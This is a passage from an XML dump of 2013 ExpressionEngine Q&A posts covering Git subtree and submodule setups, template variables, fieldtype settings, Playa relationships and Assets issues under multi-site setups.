  <row Id="8927" PostTypeId="2" ParentId="7753" CreationDate="2013-04-02T21:54:52.577" Score="1" Body="&lt;p&gt;P&amp;amp;T has some related fixes coming in future updates which may well solve these issues. Our final fix was to simply replace the Assets field type with the native file manager and Wygwam with EE's Rich Text field type. Bare bones, but now functioning correctly in IE8/9. &lt;/p&gt;&#xA;" OwnerUserId="756" LastActivityDate="2013-04-02T21:54:52.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8928" PostTypeId="2" ParentId="5919" CreationDate="2013-04-02T22:05:43.443" Score="0" Body="&lt;p&gt;I've just finished getting my setup with git working the way I want. symlinks definitely made things easier but seeing how they're not viable in your case... perhaps just stick with keeping the full themes directory in your submodule and adding it in to the main project after your work is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is &lt;a href=&quot;https://github.com/apenwarr/git-subtree/&quot; rel=&quot;nofollow noreferrer&quot;&gt;apenwarr's git-subtree script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The main difference is that, besides merging the other project as a&#xA;  subdirectory, you can also extract the entire history of a&#xA;  subdirectory from your project and make it into a standalone project.&#xA;  Unlike the subtree merge strategy you can alternate back and forth&#xA;  between these two operations. If the standalone library gets updated,&#xA;  you can automatically merge the changes into your project; if you&#xA;  update the library inside your project, you can &quot;split&quot; the changes&#xA;  back out again and merge them back into the library project.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Though I'm not quite sure how you'd work with only a path of the add-on repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's easier without the git-subtree script, e.g. following the &lt;a href=&quot;https://stackoverflow.com/a/12048161/781824&quot;&gt;q-a here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start off:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git remote add Bar /path/to/bar&#xA;$ git merge -s ours --no-commit Bar/master&#xA;$ git read-tree --prefix=public_html/themes/third_party -u Bar/master:/themes/third_party&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When pulling later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ get fetch Bar&#xA;$ git pull -X subtree=public_html/themes/third_party Bar master&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How are you working with actual third party add-ons whose developers release updates and/or require changes on your own?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-02T22:05:43.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8929" PostTypeId="2" ParentId="6937" CreationDate="2013-04-02T22:26:55.883" Score="1" Body="&lt;p&gt;This doesn't sound like it's doing anything wrong, but just what it's told to do. If you've made this a required field and you're default value is set to tell them to choose an option then once they've chosen and submitted that field then has a value. The only way to change it would be to give it another value but your default is just telling them to select (it's a null value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just like the title field of an entry in the publish page being required. Once you've submitted that entry it's saved with that title value. If you then edit that entry and and try to submit with an empty title field (the default) then it will return an error telling you to give that entry a title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the dropdown field, why don't you set a default to either yes and no rather than put in a default value which is null (i.e. it's akin to the empty title field example).&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-02T22:26:55.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostTypeId="2" ParentId="8921" CreationDate="2013-04-02T22:33:50.477" Score="1" Body="&lt;p&gt;This seems to be intentional behaviour:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please note that VZ Url will not prevent the user from saving their&#xA;  weblog entry if if cannot validate the url—it just warns them. This is&#xA;  intentional, perhaps they are linking to a page they have not yet&#xA;  created, or the site they are linking to is currently down but they&#xA;  know the url is correct. I may add this functionality as an option&#xA;  later on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-02T22:33:50.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8931" PostTypeId="2" ParentId="8926" CreationDate="2013-04-02T22:34:41.980" Score="1" Body="&lt;p&gt;That page you show assigns a group to each marker it outputs (it's doing this from an XML file which I haven't looked at).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following jQuery function is then bound to the checkboxes' onclick event;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function toggleGroup(type) {&#xA;  for (var i = 0; i &amp;lt; markerGroups[type].length; i++) {&#xA;    var marker = markerGroups[type][i];&#xA;    if (marker.isHidden()) {&#xA;      marker.show();&#xA;    } else {&#xA;      marker.hide();&#xA;    }&#xA;  } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the checkbox markup...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;restaurantCheckbox&quot; onclick=&quot;toggleGroup('restaurant')&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is called with a group name and loops through the markers in that group showing any markers that are hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the main trick is assigning a group to your markers as you output them and that's basically it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT.&#xA;Here's the XML for the marker data. You could do it this way by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;markers&amp;gt;&#xA;    &amp;lt;marker name=&quot;Pan Africa Market&quot; address=&quot;1521 1st Ave, Seattle, WA&quot; lat=&quot;47.608940&quot; lng=&quot;-122.340141&quot; type=&quot;restaurant&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Buddha Thai &amp;amp; Bar&quot; address=&quot;2222 2nd Ave, Seattle, WA&quot; lat=&quot;47.613590&quot; lng=&quot;-122.344391&quot; type=&quot;bar&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;The Melting Pot&quot; address=&quot;14 Mercer St, Seattle, WA&quot; lat=&quot;47.624561&quot; lng=&quot;-122.356445&quot; type=&quot;restaurant&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Ipanema Grill&quot; address=&quot;1225 1st Ave, Seattle, WA&quot; lat=&quot;47.606365&quot; lng=&quot;-122.337654&quot; type=&quot;restaurant&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Sake House&quot; address=&quot;2230 1st Ave, Seattle, WA&quot; lat=&quot;47.612823&quot; lng=&quot;-122.345673&quot; type=&quot;bar&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Crab Pot&quot; address=&quot;1301 Alaskan Way, Seattle, WA&quot; lat=&quot;47.605961&quot; lng=&quot;-122.340363&quot; type=&quot;restaurant&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Mama&amp;amp;apos;s Mexican Kitchen&quot; address=&quot;2234 2nd Ave, Seattle, WA&quot; lat=&quot;47.613976&quot; lng=&quot;-122.345467&quot; type=&quot;bar&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Wingdome&quot; address=&quot;1416 E Olive Way, Seattle, WA&quot; lat=&quot;47.617214&quot; lng=&quot;-122.326584&quot; type=&quot;bar&quot;/&amp;gt;&#xA;    &amp;lt;marker name=&quot;Piroshky Piroshky&quot; address=&quot;1908 Pike pl, Seattle, WA&quot; lat=&quot;47.610126&quot; lng=&quot;-122.342834&quot; type=&quot;restaurant&quot;/&amp;gt;&#xA;&amp;lt;/markers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-02T22:34:41.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8932" PostTypeId="1" AcceptedAnswerId="8947" CreationDate="2013-04-02T22:59:24.010" Score="1" ViewCount="51" Body="&lt;p&gt;In my template I'd like to capture the entry_id of my main channel:entries loop, because I have subsequent loops where I may want to avoid that entry in one case, and invoke it again in another. So I'm looking for some way to create a variable that will allow me to do this. But the only user-defined variables I've found so far are the preload_replace ones, which happen before the channel:entries are run, so no good for my purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other user-defined variables I may have missed? How would you do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-03T14:46:02.570" Title="Assigning a Value From One channel:entries Call To Be Used In Another" Tags="|variable|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8933" PostTypeId="2" ParentId="387" CreationDate="2013-04-02T23:02:29.133" Score="4" Body="&lt;p&gt;Having just gotten at least my development site up and running with Git I was looking into how to manage all the different parts of an EE project as sub projects (repositories). I was trying to avoid git submodules like the plague because of my past experience with them (Drupal). If you're new to git you're likely to mess something up there down the line. After much research and playing around I wound up using git submodules as the problem wasn't with this aspect of git itself, but with my misunderstanding of the inner workings of git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend first playing around a little with git to get it to help you achieve a few objectives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of them might include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Managing EE versions.&lt;/li&gt;&#xA;&lt;li&gt;Managing third party add-on versions.&lt;/li&gt;&#xA;&lt;li&gt;Managing &quot;forked&quot; add-ons (e.g. on GitHub you can copy someone's git repository verbatim as  if it was one of your own and modify it to your heart's content!)&lt;/li&gt;&#xA;&lt;li&gt;Managing assets/scripts/libraries/whatever shared between sites &lt;/li&gt;&#xA;&lt;li&gt;Flipping between snippet/template code for a development vs. production site.&lt;/li&gt;&#xA;&lt;li&gt;Making a quick fix for production site while working on major changes for development without losing anything&lt;/li&gt;&#xA;&lt;li&gt;Have a history of all the changes you made whether in your templates or add-ons (this is especially great when code you introduced... also introduced bugs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Simulate an actual need in EE that isn't being fulfilled, use the resources others provided to get from A to B, try to use command line for the commands. Also have a git GUI client handy if just to see the history. (&lt;a href=&quot;http://www.sourcetreeapp.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;SourceTree&lt;/a&gt; was recently released for Windows, I've been using it on the Mac myself it's been great.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a feel for it it will help &lt;strong&gt;immensely&lt;/strong&gt; to have a better understanding of the inner workings of Git. For that I &lt;em&gt;highly&lt;/em&gt; recommend the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://think-like-a-git.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;Think Like a Git&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;and Scott Chacon's &lt;a href=&quot;https://peepcode.com/products/git-internals-pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Git Internals&lt;/a&gt; (similar to the book but not the same is Chapter 9 of the &lt;a href=&quot;http://git-scm.com/book/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pro Git Book&lt;/a&gt;, same title, same author, still find Git Internals better)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will help you understand the nuances of merging, rebasing, having a balanced history. Some important notes... a branch is not actually some kind of record of your project, a branch is just a 40 byte file. A commit is what actually contains metadata if you will of history. Branches and tags are references to commits, commits that are referred to along with their ancestors are the ones that are kept. You can branch away all you want, it is inexpensive. This will also help you understand fast-forward and non-fast-forward. If the commit already exists (ahead of your current work/branch) and you're merging it into your current branch or whatever, all git has to do is point your branch to that commit (fast-forward). If you want to create a new commit altogether, say, for the sake of showing linear history, you could do &lt;code&gt;git merge --no-ff &amp;lt;commit-ish&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After studying those two materials (amongst others, but those provided the bulk) I was a lot more comfortable with tackling EE as a super project with EE, add-ons, sites (snippets, templates, stash templates), and assets as submodules. Once you're there, too, you may want to look into these two Q-A's to set up your &lt;code&gt;.gitignore&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/714/how-to-manage-ee-cache-files-in-git&quot;&gt;How to manage EE cache files in Git&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/563/what-do-you-put-in-your-gitignore-for-expressionengine-sites&quot;&gt;What do you put in your .gitignore for ExpressionEngine sites?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/450/config-bootstrap-options&quot;&gt;You may want to ignore your Bootstrap file if you have one&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since you're on Windows you can't use symbolic links to split your add-ons' system vs themes directories. You may want to monitor this thread and see what epocsquadron comes up with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5919/git-subtree-with-add-ons-that-have-a-themes-folder&quot;&gt;git subtree with add-ons that have a themes folder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Personally my site's structure is something like this with heavy usage of symbolic links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ee2&#xA;/sites&#xA;/add-ons&#xA;/assets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where ee2 is a repo for EE, sites has repos e.g. like &lt;code&gt;default_site&lt;/code&gt; which contains all aspects of EE that are site-specific such as &lt;code&gt;templates&lt;/code&gt; and &lt;code&gt;snippets&lt;/code&gt;, and &lt;code&gt;assets&lt;/code&gt; are other third party stuff that didn't seem to belong anywhere but warrant sharing/versioning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(On the subject of &lt;code&gt;assets&lt;/code&gt;... I also modify my nginx virtual host config for the site to cascade certain urls, e.g. should &lt;code&gt;/images/&lt;/code&gt; belong to ExpressionEngine? A site like &lt;code&gt;default_site&lt;/code&gt;? What about &lt;code&gt;/js/&lt;/code&gt; and &lt;code&gt;/css/&lt;/code&gt;? For certain folders I don't see why they should have to be in one place, so I figure out which directories share them, have priority, and then use location directives, named location directives with if statements to cascade submodules.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't had time to look into deployment, continuous integration, etc. My workflow is probably going to be faster with just working in an editor (Coda 2) and uploading from it as I go along.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-02-03T21:17:20.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8934" PostTypeId="1" AcceptedAnswerId="8952" CreationDate="2013-04-02T23:44:15.900" Score="1" ViewCount="296" Body="&lt;p&gt;How do I display the currently selected category for the channel entry inside a Safecracker form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {if checked}&#xA;       {category_name}&#xA;    {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;code&gt;{if checked != ''}&lt;/code&gt;, and the same with &lt;code&gt;{selected}&lt;/code&gt; instead of &lt;code&gt;{checked}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-22T13:26:12.843" Title="Display Currently Selected Category Inside Safecracker Form" Tags="|safecracker|categories|conditionals|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostTypeId="2" ParentId="7274" CreationDate="2013-04-03T00:54:18.157" Score="6" Body="&lt;p&gt;Found it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turned out to be a setting left over in config.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the original site was constructed, I was using one of those temporary URLs that hosting companies often provide for viewing sites before domains are pointed at them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original setting for the temporary URL was still in the config.php setting for 'cp_url'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, changing the site URL in General Configuration from the temporary URL to the final domain name did not replace the URL in config.php (at least in EE 2.5.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was enough to create both the login lock-out and inability to switch sites whenever MSM was enabled.&lt;/p&gt;&#xA;" OwnerUserId="1167" LastActivityDate="2013-04-03T00:54:18.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8936" PostTypeId="1" AcceptedAnswerId="8944" CreationDate="2013-04-03T03:52:07.003" Score="0" ViewCount="264" Body="&lt;p&gt;I am trying to reference an image field from blog posts (blog channel) to display on a staff profile page (pages channel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the blog post there is a matrix field &quot;blog_smile&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Column 1:&lt;/strong&gt; blog_smile_ortho (playa field - used to assign the staff member)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Column 2:&lt;/strong&gt; blog_smile_image (assets field - to assign image)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How could I be on the profile page and say:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go look at the blog channel,&lt;/li&gt;&#xA;&lt;li&gt;Look in the matrix field &quot;blog smile&quot; and find &quot;blog_smile_ortho&quot; entries that are the same entry id as the profile page you're on&lt;/li&gt;&#xA;&lt;li&gt;Then get the &quot;blog_smile_image&quot; file from that same matrix field&lt;/li&gt;&#xA;&lt;li&gt;And repeat this process up to 6 times working back from todays date.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice you can give.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="490" LastEditDate="2013-04-03T13:29:44.117" LastActivityDate="2013-04-03T13:48:21.560" Title="Referencing Playa Field inside a Matrix Field from another Channel" Tags="|ee2|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8937" PostTypeId="1" AcceptedAnswerId="8940" CreationDate="2013-04-03T08:15:58.407" Score="1" ViewCount="90" Body="&lt;p&gt;I have created a custom field type which integrates with a web service. I need to create a simple interface which allows the User ID and API key to be configured globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I need to create a module for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example would be greatly appreciated!!&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2013-04-03T21:01:41.970" Title="How to create a global configuration page for my custom field type?" Tags="|add-on|module|plugin|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8938" PostTypeId="1" AcceptedAnswerId="8941" CreationDate="2013-04-03T09:58:36.880" Score="2" ViewCount="131" Body="&lt;p&gt;I'm creating a newspaper style website. The homepage is made up of 'editions', each date should have a homepage with all the articles selected for that edition. I figure the best way to do this is with Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel for articles, videos and graphics (listings in structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also created a channel for the editions (which is a listing in Structure), and using Playa you can select which articles, videos and graphics should be selected for that edition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;editions&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; show_future_entries=&quot;yes&quot; start_on=&quot;{current_time format=&quot;%Y-%m-%d 00:00&quot;}&quot; stop_before=&quot;{current_time format=&quot;%Y-%m-%d 23:59&quot;}&quot;}&#xA;&#xA;{home_main_article} (Playa field)&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div class=&quot;author&quot;&amp;gt;by {author} on {entry_date format=&quot;%d-%m-%Y&quot;}&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;{article_content}&amp;lt;/p&amp;gt;&#xA;{/home_main_article}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is this: Articles created on dates that don't match the date the edition was created, don't show up. Even with &lt;code&gt;show_future_entries=&quot;yes&quot;&lt;/code&gt; set, they still don't show. This may be because of the home channel is set to only show the edition for that day... Essentially articles, videos and graphics should be able to be created on any day and linked to any edition, that edition should show the entry content.&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-04-23T07:57:57.430" Title="Entry within an entry" Tags="|playa|structure|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8940" PostTypeId="2" ParentId="8937" CreationDate="2013-04-03T11:51:47.927" Score="2" Body="&lt;p&gt;You can create a configuration page for your fieldtype by including a &lt;code&gt;display_global_settings()&lt;/code&gt; and a &lt;code&gt;save_global_settings()&lt;/code&gt; which display and save the settings respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your fieldtype class is instantiated your current settings are passed to a public &lt;code&gt;settings&lt;/code&gt; property. You access your current settings within the &lt;code&gt;display_global_settings()&lt;/code&gt; method with &lt;code&gt;$this-&amp;gt;settings['setting_name']&lt;/code&gt;. To display the settings page, return a string containing the HTML. You do not need to include a form tag or submit button in the returned HTML, these will be added for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the settings, you will create a &lt;code&gt;save_global_settings()&lt;/code&gt; method. This method should retrieve the values using the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;input-&amp;gt;post()&lt;/code&gt; method. You can manipulate the settings however you need, or simply place them all into a single array. The value you return from this method will be saved to the database and set to &lt;code&gt;$this-&amp;gt;settings&lt;/code&gt; next time the class is instantiated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the default settings value by returning it from the &lt;code&gt;install()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find some examples under the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#global-settings&quot; rel=&quot;nofollow&quot;&gt;global setting section of the fieldtype developer docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="156" LastEditDate="2013-04-03T21:01:41.970" LastActivityDate="2013-04-03T21:01:41.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8941" PostTypeId="2" ParentId="8938" CreationDate="2013-04-03T12:01:03.510" Score="2" Body="&lt;p&gt;indeed the parts can be related with playa, the main edition could be fetched with year=&quot;&quot; month=&quot;&quot; and day=&quot;&quot;. you'ld need some logic with segment_n conditionals and preload_replace or switchee to check if the segments where filled in.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: examples added&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Preload_replace&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;{preload_replace:varname=&quot;value&quot;}&lt;/code&gt; to set a variable that is instantly replaced in the entire template. Because it is instantly replaced, a second preload replace will not find any variable &lt;code&gt;{varname}&lt;/code&gt; left in the template. However, simple segment conditionals are parsed earlier so we can use that to our advantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have year in segment_4 then you can check if segment_4 is empty and set a preload variable accordingly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4==''}&#xA;  {preload_replace:p_year=&quot;{current_time format='%Y'}&quot;}&#xA;{/if}&#xA;{preload_replace:p_year=&quot;{segment_4}&quot;}&#xA;&#xA;# if segment_4 is empty then {p_year} will hold the current year,&#xA;# otherwise it will hold the value from segment_4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then set the channel:entries parameter year=&quot;{p_year}&quot; and similar for month=&quot;&quot; and day=&quot;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Switchee&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach i have used somewhere, is using switchee on&lt;br&gt;&#xA;&lt;code&gt;variable=&quot;{segment_4}/{segment_5}/{segment_6}&lt;/code&gt;,&lt;br&gt;&#xA;in combination with a crazy regular expression on the case value=&quot;&quot;&lt;br&gt;&#xA;to filter correct date ranges (only for year and month in this case).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_3}/{segment_4}/{segment_5}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;#[12][0-9][0-9][0-9]/([0][1-9]&amp;amp;#124;[1][0-2])/#&quot;}&#xA;    // show archive year=&quot;{segment_3}&quot; month=&quot;{segment_4}&quot;&#xA;  {/case}&#xA;  ... other cases&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-04-23T07:57:57.430" LastActivityDate="2013-04-23T07:57:57.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8942" PostTypeId="1" AcceptedAnswerId="8943" CreationDate="2013-04-03T12:44:46.433" Score="2" ViewCount="252" Body="&lt;p&gt;I'm branching this off of another question: &lt;a href=&quot;https://expressionengine.stackexchange.com/q/7525/293&quot;&gt;Assets 2 MSM Cannot Upload or view images&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not seeing any tag output from Assets in the second site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.5 with Assets 2.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a site that I've been migrating from an older site, so it's a clean slate. It's not an upgrade. I've migrated entries into the new database and updated templates that I've copied in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I set up a second site using MSM. I'm using Master Config, so there were a few issues with paths for third_party add-ons and templates, but those have been resolved. My templates are outputting correctly now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have content in a channel on the 1st site (Site1): That channel's name is &lt;code&gt;experience&lt;/code&gt;. If I drop the following code into a template on Site1, it works fine, including outputting the URLs of the Assets field's image (&lt;code&gt;{event-story-gallery-image}&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries site=&quot;default_site&quot; channel=&quot;experience&quot; orderby=&quot;event-story-sort-order&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;&amp;lt;a class=&quot;story-link&quot; href=&quot;/experience/story/{url_title}&quot;&amp;gt;&amp;lt;span class=&quot;view&quot;&amp;gt;View&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;border&quot;&amp;gt;&amp;lt;!-- empty div --&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;img src=&quot;{main_url}{event-story-gallery-image}&quot; width=&quot;320&quot; height=&quot;230&quot; /&amp;gt;&#xA;    &amp;lt;span class=&quot;caption1&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;!-- empty div --&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I drop that same code into a template in Site2, everything outputs correctly &lt;strong&gt;except&lt;/strong&gt; the &lt;code&gt;{event-story-gallery-image}&lt;/code&gt; tag. That outputs nothing. It's not an incorrect path, it's just not outputting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following in Master Config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php';&#xA;&#xA;$config['assets_cp_path'] = 'admin/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be able to view the CP under Site2, I have to change the master config as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $base_url = $protocol . $_SERVER['HTTP_HOST'];&#xA;$base_url = 'http://ee2.morinsfinecatering.localhost:8888';&#xA;//$base_path = $_SERVER['DOCUMENT_ROOT'];&#xA;$base_path = dirname(__FILE__).'/../../../public';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That lets me see the CP correctly in Site2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accordingly, I changed my Assets settings as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = 'http://ee2.morinsfinecatering.localhost:8888/index.php';&#xA;$config['assets_cp_path'] = 'http://ee2.morinsfinecatering.localhost:8888/admin/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still cannot see my Assets files in the CP in Site2, nor get any output from the tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've confirmed that the following in my config.php is the correct path as 